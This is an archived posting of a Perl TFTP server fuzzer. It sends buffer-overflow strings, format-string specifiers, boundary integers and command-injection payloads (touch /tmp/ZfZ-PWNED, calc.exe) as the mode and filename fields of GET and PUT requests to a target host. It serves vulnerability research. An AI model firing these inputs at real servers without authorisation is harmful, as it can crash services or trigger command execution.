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tftpfuzz.txt

tftpfuzz.txt
Posted Oct 30, 2008
Authored by Jeremy Brown | Site jbrownsec.blogspot.com

TFTP daemon fuzzer that uses Net::TFTP.

tags | fuzzer
SHA-256 | f0bb5b52d7d08ec8d250d4dc352452c02c79c428856b9235545fcf7730463f97

tftpfuzz.txt

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#!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# TFTP Daemon Fuzzer.. remember to cpan Net::TFTP
# Wrote this up in about 10 minutes .. Bug on.

use Net::TFTP;
use Getopt::Std;

@overflow = ('A' x 600, 'A' x 1200, 'A' x 2200, 'A' x 4200, 'A' x 8200, 'A' x 11000,
'A' x 22000, 'A' x 52000, 'A' x 110000, 'A' x 550000, 'A' x 1100000,
'A' x 2200000, 'A' x 5500000, 'A' x 12000000, "\0x99" x 1200);

@fmtstring = ("%n%n%n%n%n", "%p%p%p%p%p", "%s%s%s%s%s", "%d%d%d%d%d", "%x%x%x%x%x",
"%s%p%x%d", "%.1024d", "%.1025d", "%.2048d", "%.2049d", "%.4096d", "%.4097d",
"%99999999999s", "%08x", "%%20n", "%%20p", "%%20s", "%%20d", "%%20x",
"%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%",
"%n%n%n%n%n%n%n%n%n%n%p%p%p%p%p%p%p%p%p%p%x%x%x%x%x%x%x%x%x%x%d%d%d%d%d%d%d%d%d%d%s%s%s%s%s%s%s%s%s%s",
"\0xCD" x 50, "\0xCB" x 50);

@numbers = ("0", "-0", "1", "-1", "32767", "-32768", "2147483647", "-2147483647", "2147483648", "-2147483648",
"4294967294", "4294967295", "4294967296", "357913942", "-357913942", "536870912", "-536870912",
"1.79769313486231E+308", "3.39519326559384E-313", "99999999999", "-99999999999", "0x100", "0x1000",
"0x3fffffff", "0x7ffffffe", "0x7fffffff", "0x80000000", "0xffff", "0xfffffffe", "0xfffffff", "0xffffffff",
"0x10000", "0x100000", "0x99999999", "65535", "65536", "65537", "16777215", "16777216", "16777217", "-268435455");

@miscbugs = ("~!@#$%^&*()-=_+", "[]\{}|;:,./<>?\\", "<<<<<<<<<<>>>>>>>>>>", "\\\\\\\\\\//////////", "^^^^^^^^^^^^^^^^^^^^",
"||||||||||~~~~~~~~~~", "?????[[[[[]]]]]{{{{{}}}}}((())", "test|touch /tmp/ZfZ-PWNED|test", "test`touch /tmp/ZfZ-PWNED`test",
"test'touch /tmp/ZfZ-PWNED'test", "test;touch /tmp/ZfZ-PWNED;test", "test&&touch /tmp/ZfZ-PWNED&&test", "test|C:/WINDOWS/system32/calc.exe|test",
"test`C:/WINDOWS/system32/calc.exe`test", "test'C:/WINDOWS/system32/calc.exe'test", "test;C:/WINDOWS/system32/calc.exe;test",
"/bin/sh", "C:/WINDOWS/system32/calc.exe", "¶§¼½¿", "%0xa", "%u000", "/" x 200, "\\" x 200, "-----99999-----", "[[[abc123]]]", "|||/////|||");

getopts('h:', \%opts);
$host = $opts{'h'};

if(!defined($host))
{
print "\n TFTP - TFTP Server Fuzzer";
print "\nJeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]";
print "\n Usage: $0 -h <host>\n\n";
exit(0);

}

print "\nFuzzing [TFTP]->[MODE/GET] STAGE #1 COMPLETE...";
foreach(@overflow)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => $fuzz);
$tftp->binary;
$tftp->get("test", "test");
}
sleep(1);
foreach(@fmtstring)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => $fuzz);
$tftp->binary;
$tftp->get("test", "test");
}
sleep(1);
foreach(@numbers)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => $fuzz);
$tftp->binary;
$tftp->get("test", "test");
}
sleep(1);
foreach(@miscbugs)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => $fuzz);
$tftp->binary;
$tftp->get("test", "test");
}
sleep(1);

print "\nFuzzing [TFTP]->[MODE/PUT] STAGE #2 COMPLETE...";
foreach(@overflow)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => $fuzz);
$tftp->binary;
$tftp->put("test", "test");
}
sleep(1);
foreach(@fmtstring)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => $fuzz);
$tftp->binary;
$tftp->put("test", "test");
}
sleep(1);
foreach(@numbers)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => $fuzz);
$tftp->binary;
$tftp->put("test", "test");
}
sleep(1);
foreach(@miscbugs)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => $fuzz);
$tftp->binary;
$tftp->put("test", "test");
}
sleep(1);

print "\nFuzzing [TFTP]->[GET/ASCII/NETASCII] STAGE #1 COMPLETE...";
foreach(@overflow)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->ascii;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@fmtstring)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->ascii;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@numbers)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->ascii;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@miscbugs)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->ascii;
$tftp->get($fuzz, "test");
}
sleep(1);

print "\nFuzzing [TFTP]->[GET/ASCII/OCTET] STAGE #2 COMPLETE...";
foreach(@overflow)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->ascii;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@fmtstring)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->ascii;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@numbers)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->ascii;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@miscbugs)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->ascii;
$tftp->get($fuzz, "test");
}
sleep(1);

print "\nFuzzing [TFTP]->[GET/BINARY/NETASCII] STAGE #3 COMPLETE...";
foreach(@overflow)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->binary;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@fmtstring)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->binary;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@numbers)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->binary;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@miscbugs)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->binary;
$tftp->get($fuzz, "test");
}
sleep(1);

print "\nFuzzing [TFTP]->[GET/BINARY/OCTET] STAGE #4 COMPLETE...";
foreach(@overflow)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->binary;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@fmtstring)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->binary;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@numbers)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->binary;
$tftp->get($fuzz, "test");
}
sleep(1);
foreach(@miscbugs)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->binary;
$tftp->get($fuzz, "test");
}
sleep(1);

print "\n\nFuzzing [TFTP]->[PUT/ASCII/NETASCII] STAGE #1 COMPLETE...";
foreach(@overflow)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->ascii;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@fmtstring)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->ascii;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@numbers)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->ascii;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@miscbugs)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->ascii;
$tftp->put("test", $fuzz);
}
sleep(1);

print "\nFuzzing [TFTP]->[PUT/ASCII/OCTET] STAGE #2 COMPLETE...";
foreach(@overflow)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->ascii;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@fmtstring)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->ascii;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@numbers)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->ascii;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@miscbugs)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->ascii;
$tftp->put("test", $fuzz);
}
sleep(1);

print "\nFuzzing [TFTP]->[PUT/BINARY/NETASCII] STAGE #3 COMPLETE...";
foreach(@overflow)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->binary;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@fmtstring)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->binary;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@numbers)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->binary;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@miscbugs)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host);
$tftp->binary;
$tftp->put("test", $fuzz);
}
sleep(1);

print "\nFuzzing [TFTP]->[PUT/BINARY/OCTET] STAGE #4 COMPLETE...\n\n";
foreach(@overflow)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->binary;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@fmtstring)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->binary;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@numbers)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->binary;
$tftp->put("test", $fuzz);
}
sleep(1);
foreach(@miscbugs)
{
$fuzz = $_;
$tftp = Net::TFTP->new($host, Mode => "octet");
$tftp->binary;
$tftp->put("test", $fuzz);
}
sleep(1);

exit;
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